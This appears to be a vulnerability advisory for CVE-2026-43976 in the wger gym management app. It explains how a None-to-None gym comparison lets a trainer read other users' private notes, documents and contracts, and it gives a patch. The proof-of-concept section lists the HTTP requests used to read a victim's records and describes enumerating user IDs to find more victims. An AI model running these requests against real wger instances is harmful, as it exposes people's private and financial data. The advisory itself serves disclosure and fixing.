CVE-2026-43976: wger lets trainer read other users' private data

### Summary

Five gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.

### Details

**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`

The same flawed comparison pattern appears across at least five views:

```python
# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
# user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member) # only filtered by member_id
```

When both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

**Affected endpoints**:
- `GET /en/gym/notes/list/user/<member_pk>` -> admin notes list view
- `GET /en/gym/documents/list/user/<member_pk>` -> documents list view
- `GET /en/gym/contract/list/<member_pk>` -> contracts list view
- `GET /en/gym/user/<member_pk>/config` -> user config view
- `GET /en/gym/user/<member_pk>/permissions` -> permission edit view

**Suggested patch**:

```diff
--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
- if request.user.userprofile.gym != user.userprofile.gym:
- return HttpResponseForbidden()
+ trainer_gym_id = request.user.userprofile.gym_id
+ member_gym_id = user.userprofile.gym_id
+
+ if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+ return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
- notes = AdminUserNote.objects.filter(member=member)
+ notes = AdminUserNote.objects.filter(
+ member=member,
+ member__userprofile__gym_id=request.user.userprofile.gym_id,
+ )
```

Extract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift.

### PoC

Tested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded).

**Step 1** - Authenticate as trainer with required perms and gym=None:

```
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]
```

**Step 2** - Read victim's private admin notes:

```
GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
"PHASE4_SECRET_SALARY_100K"
```

**Step 3** - Read victim's documents and contracts (same pattern):

```
GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed
```

**Step 4** (optional) - Mass enumeration across all gym=None users:

```
Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)
```

**RBAC Disproof Protocol**:
- Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
- Scenario B (trainer1, gym=None -> alice gym=None) -> **HTTP 200 with PII in body** (expected HTTP 403)
- Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

### Impact

An authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can:

1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records).
2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
3. Read all gym contracts (financial terms, subscription details).
4. Read user configuration details.
5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

**Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.

**Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views.